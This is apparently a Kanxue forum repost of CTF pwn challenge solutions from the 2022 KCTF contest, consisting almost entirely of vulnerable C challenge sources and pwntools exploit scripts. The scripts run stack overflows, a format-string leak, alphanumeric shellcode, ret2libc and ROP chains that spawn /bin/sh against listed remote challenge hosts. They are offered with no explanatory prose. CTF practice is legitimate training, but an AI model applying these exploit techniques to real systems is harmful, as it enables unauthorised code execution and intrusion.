本文为看雪论坛优秀文章
看雪论坛作者ID:bad_c0de
#include<stdio.h>
char buff[100];
int v0;
char buffff[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234";
char bua[]="abcdefghijklmnopqrstuvwxyz4321";
char* enccrypt(char *buf){
int a;
for(int i=0;i<29;i++){
a=rand();
buf[i]^=buffff[i];
buff[i]^=bua[i];
for(int j=29;j>=0;j--){
buf[j]=buff[i];
buf[i]+='2';
}
buf[i]-=((bua[i]^0x30)*(buffff[i]>>2)&1)&0xff;
buf[i]+=(a%buff[i])&0xff;
}
}
int main(){
setbuf(stdin,0);
setbuf(stderr,0);
setbuf(stdout,0);
puts("GDB-pwndbg maybe useful");
char buf[]="Ayaka_nbbbbbbbbbbbbbbbbb_pluss";
strcpy(buff,buf);
char test[30];
int v0=1;
srand(v0);
enccrypt(buff);
read(0,test,30);
if(!strncmp(buff,test,30)){
system("/bin/sh");
}
else {
puts("Oh No!You lose!!!");
exit(0);
}
return;
}
from pwn import *
context.log_level='debug'
#io=process('./ezcmp')
io=remote('43.143.7.97',28931)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rl()
sl(b'\x72\x40\x0e\xdc\xaa\x78\x46\x14\xe2\xb0\x7e\x4c\x1a\xe8\xb6\x84\x52\x20\xee\xbc\x8a\x58\x26\xf4\xc2\x90\x5e\x2c\xcb\xc8')
shell()
from pwn import *
context.log_level='debug'
#io=process('./ezr0p')
io=remote('1.14.71.254',28637)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rl()
sl(b'/bin/sh')
rl()
payload=b'a'*0x20+p32(0x08048562)+p32(0x0804A080)
sl(payload)
shell()
from pwn import *
from LibcSearcher import *
context.log_level='debug'
#io=process('./ezrop64')
elf=ELF('./ezrop64')
libc=ELF('./libc.so.6')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
printf_got=elf.got['printf']
io=remote('1.14.71.254',28658)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rl()
ru(b'Gift :')
puts_addr=int(r(14)[:],16)
baseadd=puts_addr-libc.symbols['puts']
print(hex(baseadd))
system=baseadd+libc.symbols['system']
print(hex(system))
binsh=baseadd+libc.search(b'/bin/sh').__next__()
print(hex(binsh))
payload=b'a'*0x108+p64(0x4012a3)+p64(binsh)+p64(0x40101a)+p64(system)
ru('Start your rop.\n')
sl(payload)
shell()
#include<stdio.h>
char name[0x30];
int key;
int main()
{
setbuf(stdin,0);
setbuf(stderr,0);
setbuf(stdout,0);
puts("Welcome to the world of fmtstr");
puts("> ");
int fd=open("flag",0);
if(fd==-1){
perror("Open failed.");
}
read(fd,name,0x30);
size_t *pointer=&name;
char buf[0x100];
puts("Input your format string.");
read(0,buf,0x100);
puts("Ok.");
printf(buf);
}
from pwn import *
context.log_level='debug'
#io=process('./ezfmt')
io=remote('43.143.7.97',28705)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rl()
rl()
rl()
payload=b'%7$s....'+p64(0x4040a0)
s(payload)
rl()
#include<stdio.h>
char buff[0x200];
int main()
{
setbuf(stdin,0);
setbuf(stderr,0);
setbuf(stdout,0);
mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
char buf[0x200];
memset(buf,0,0x200);
read(0,buf,0x300);
for(int i=0;i<strlen(buf);i++){
if(buf[i]<'0'||buf[i]>'z'){
puts("Hacker!!!");
exit(0);
}
}
strcpy(buff,buf);
((void (*)(void))buff)();
return 0;
}
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io=process('./shellcoder')
attach(io)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
pause()
shellcode='''
push rax
pop rsi
push 0x40404040
pop rax
xor rax,0x40404040
push rax
pop rdi
push 0x40404040
pop rax
xor rax,0x40404141
push rax
pop rdx
push 0x40404040
pop rax
xor rax,0x40404040
push 0x60604040
pop rcx
xor dword ptr[rsi+0x33],ecx
'''
s(asm(shellcode)+b'\x4f\x45\x30\x30')
payload=b'a'*0x35+asm(shellcraft.sh())
sl(payload)
shell()
#include<stdio.h>
char buff[256];
int main()
{
setbuf(stdin,0);
setbuf(stderr,0);
setbuf(stdout,0);
mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
char buf[256];
memset(buf,0,0x100);
read(0,buf,0x110);
strcpy(buff,buf);
return 0;
}
from pwn import *
context.log_level='debug'
context(os='linux', arch='amd64', log_level='debug')
#io=process('./shellcode')
io=remote('43.143.7.97',28497)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
payload=asm(shellcraft.sh())
sl(payload.ljust(0x108,b'\x00')+p64(0x4040a0))
shell()
#include<stdio.h>
int main()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
puts("Input something");
char name[30];
int number=0;
gets(name);
if(number!=0){
puts("You win.");
system("cat flag");
}
return 0;
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
io=process('./arrayRE')
#io=remote('43.143.7.97',28126)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
a='831654239123423452610584'
flag='8'
def decode(a1,a2):
return (35*(a1-48)+18*(a2-48)+2)%10
for i in range(len(a)-1):
for j in range(10):
if (decode(ord(a[i]),i+ord(a[i]))+int(j)+3)%10+48==ord(a[i+1]):
flag+=str(j)
break
print(flag)
rl()
rl()
sl(b'aaa')
ru(b'password:')
sl(flag)
shell()
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('./intorw')
libc=ELF('./libc.so.6')
io=process('./intorw')
io=remote('43.143.7.97',28254)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rl()
sl(b'-1000')
read_plt=elf.plt['read']
pop_addr=0x0400ACA
mov_addr=0x00400AB0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bss=0x6010E0
pop_rdi=0x400ad3
payload=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4009C4)
rl()
sl(payload)
puts_addr=u64(ru(b'\x7f').ljust(8,b'\x00'))
libc_base=puts_addr-libc.sym['puts']
pop_rsi=0x2be51+libc_base
pop_rdx_r12=0x11f497+libc_base
print(hex(libc_base))
opEn=libc_base+libc.sym['open']
write=libc_base+libc.sym['write']
rl()
rl()
sl(b'-100')
rl()
payload=b'a'*0x28+p64(pop_rdi)+p64(0x601046)+p64(pop_rsi)+p64(0)+p64(opEn)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x601000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(read_plt)+p64(pop_rdi)+p64(0x601000)+p64(puts_plt)
sl(payload)
rl()
看雪ID:bad_c0de
https://bbs.pediy.com/user-home-967128.htm
看雪2022KCTF秋季赛官网:https://ctf.pediy.com/game-team_list-18-29.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!